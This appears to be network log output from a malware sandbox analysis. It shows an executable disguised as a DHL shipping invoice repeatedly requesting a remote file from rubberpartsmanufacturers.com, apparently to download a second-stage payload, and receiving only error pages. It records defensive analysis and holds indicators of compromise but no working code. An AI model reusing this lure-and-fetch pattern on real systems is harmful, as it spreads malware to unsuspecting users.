Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:42 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:43 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:43 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:43 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50042	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:44 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:45 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:44 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:45 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50043	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:46 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:46 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:46 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:46 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	50044	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:47 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:48 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:47 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:48 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50045	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:49 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:49 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:49 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:49 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50047	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:50 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:50 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:50 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:50 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50048	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:52 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:52 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:52 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:52 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50049	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:53 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:54 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:53 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:54 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50050	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:55 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:55 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:55 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:55 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50051	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:56 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:56 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:56 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:56 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50052	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:58 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:58 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:58 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:58 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50053	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:59 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:59 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:59 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:59 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50054	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:01 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:01 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:01 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:01 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50055	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:02 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:02 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:02 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:02 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50056	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:04 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:04 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:04 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:04 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
